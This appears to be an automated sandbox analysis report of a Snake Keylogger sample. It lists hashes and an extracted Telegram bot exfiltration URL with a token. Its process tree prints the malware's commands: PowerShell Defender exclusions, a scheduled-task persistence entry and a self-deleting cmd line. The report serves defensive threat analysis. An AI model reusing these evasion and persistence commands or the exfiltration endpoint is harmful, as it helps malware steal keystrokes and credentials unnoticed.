snakekeylogger | ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
09-09-2024 11:41

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General

Target

z1PO_200040058.exe
Size

592KB
MD5

ae6ed7f141a85db09d7581cdc00b0428
SHA1

b39de7905138cc25e77d6b0892ba5e1e700c8760
SHA256

ac152601a64b3d98e94611434dafc8457249458ad1611a252aac9b564bed4caf
SHA512

1e6af63e42394d91e8a890b59d4a56a62c7c3ff4f378d5eda0889794645ac15aaa41786f04ec2cbcb8e5eff221bd05ff2fde98bfee730c464768e8ef69d6c3bb
SSDEEP

12288:+D46QPxR+LOVGOvwRhpWSsv0UWoNO/wavHCYLrSNnelkrkHfkR:+DNQZQzpRZIWoNO/zvCpNFka

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7152694115:AAHaHmDCgcQp63bt60B-ZXF1o-UoY9ASQuE/sendMessage?chat_id=7368703476

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 5 IoCs

resource	yara_rule
behavioral1/memory/2724-30-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2724-28-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2724-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2724-25-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2724-23-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe
2732	powershell.exe

Deletes itself 1 IoCs

pid	Process
2816	cmd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2364 set thread context of 2724	2364	z1PO_200040058.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	z1PO_200040058.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	z1PO_200040058.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2868	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2364	z1PO_200040058.exe
2364	z1PO_200040058.exe
2724	z1PO_200040058.exe
2804	powershell.exe
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	z1PO_200040058.exe
Token: SeDebugPrivilege	2724	z1PO_200040058.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 2804	2364	z1PO_200040058.exe	31
PID 2364 wrote to memory of 2804	2364	z1PO_200040058.exe	31
PID 2364 wrote to memory of 2804	2364	z1PO_200040058.exe	31
PID 2364 wrote to memory of 2804	2364	z1PO_200040058.exe	31
PID 2364 wrote to memory of 2732	2364	z1PO_200040058.exe	33
PID 2364 wrote to memory of 2732	2364	z1PO_200040058.exe	33
PID 2364 wrote to memory of 2732	2364	z1PO_200040058.exe	33
PID 2364 wrote to memory of 2732	2364	z1PO_200040058.exe	33
PID 2364 wrote to memory of 2868	2364	z1PO_200040058.exe	35
PID 2364 wrote to memory of 2868	2364	z1PO_200040058.exe	35
PID 2364 wrote to memory of 2868	2364	z1PO_200040058.exe	35
PID 2364 wrote to memory of 2868	2364	z1PO_200040058.exe	35
PID 2364 wrote to memory of 2724	2364	z1PO_200040058.exe	37
PID 2364 wrote to memory of 2724	2364	z1PO_200040058.exe	37
PID 2364 wrote to memory of 2724	2364	z1PO_200040058.exe	37
PID 2364 wrote to memory of 2724	2364	z1PO_200040058.exe	37
PID 2364 wrote to memory of 2724	2364	z1PO_200040058.exe	37
PID 2364 wrote to memory of 2724	2364	z1PO_200040058.exe	37
PID 2364 wrote to memory of 2724	2364	z1PO_200040058.exe	37
PID 2364 wrote to memory of 2724	2364	z1PO_200040058.exe	37
PID 2364 wrote to memory of 2724	2364	z1PO_200040058.exe	37
PID 2724 wrote to memory of 2816	2724	z1PO_200040058.exe	38
PID 2724 wrote to memory of 2816	2724	z1PO_200040058.exe	38
PID 2724 wrote to memory of 2816	2724	z1PO_200040058.exe	38
PID 2724 wrote to memory of 2816	2724	z1PO_200040058.exe	38
PID 2816 wrote to memory of 580	2816	cmd.exe	40
PID 2816 wrote to memory of 580	2816	cmd.exe	40
PID 2816 wrote to memory of 580	2816	cmd.exe	40
PID 2816 wrote to memory of 580	2816	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\z1PO_200040058.exe
"C:\Users\Admin\AppData\Local\Temp\z1PO_200040058.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\z1PO_200040058.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\zPGkpEagT.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2732
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\zPGkpEagT" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD826.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2868
- C:\Users\Admin\AppData\Local\Temp\z1PO_200040058.exe
  "C:\Users\Admin\AppData\Local\Temp\z1PO_200040058.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\z1PO_200040058.exe"
    3⤵
    - Deletes itself
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2816
  - - C:\Windows\SysWOW64\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      System Location Discovery: System Language Discovery
      PID:580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmpD826.tmp

Filesize
1KB

MD5
c2654e1236fa9cacedbc2ae3fb178ee6

SHA1
086073983dcab7d6959c295bc0a0c7ef5406da20

SHA256
c7a451d722a6dd8a8ad2aae6a991ebfa0f7419c0e327bde7c072c8f13380e773

SHA512
7ade8014f2ed6685f5d7a3bb8bef32d9aa8d91da2bd16e1f73137a86d7894094722793685c75d4edd1ab2fb254cf48de3fde83d7ba51625c08144295f141ca0a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QQW5934WLCBNVBQ11EAF.temp

Filesize
7KB

MD5
a85b5e1044e95f81a6ed0065d2f0f112

SHA1
037ef73dc55978775ebcaccbfcd52b9166af7344

SHA256
c777e8cf50aadcaf7b84e77b971848ba86ffd264fb7cf55a9156426eefe228ae

SHA512
a8c9d091001ee277a09defab76fedb1f977a38dc0b5f98688894a9b56c86bfce3f02f19398bc27324cd48a73e7703f9e2f34ec2a95dafce40984591f42b06fed

Download Submit
memory/2364-4-0x00000000740AE000-0x00000000740AF000-memory.dmp

Filesize
4KB

Download
memory/2364-31-0x00000000740A0000-0x000000007478E000-memory.dmp

Filesize
6.9MB

Download
memory/2364-0-0x00000000740AE000-0x00000000740AF000-memory.dmp

Filesize
4KB

Download
memory/2364-5-0x00000000740A0000-0x000000007478E000-memory.dmp

Filesize
6.9MB

Download
memory/2364-6-0x0000000005090000-0x00000000050F8000-memory.dmp

Filesize
416KB

Download
memory/2364-2-0x00000000004A0000-0x00000000004B8000-memory.dmp

Filesize
96KB

Download
memory/2364-1-0x0000000000970000-0x0000000000A06000-memory.dmp

Filesize
600KB

Download
memory/2364-3-0x00000000740A0000-0x000000007478E000-memory.dmp

Filesize
6.9MB

Download
memory/2724-21-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2724-28-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2724-27-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2724-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2724-25-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2724-19-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2724-23-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2724-30-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download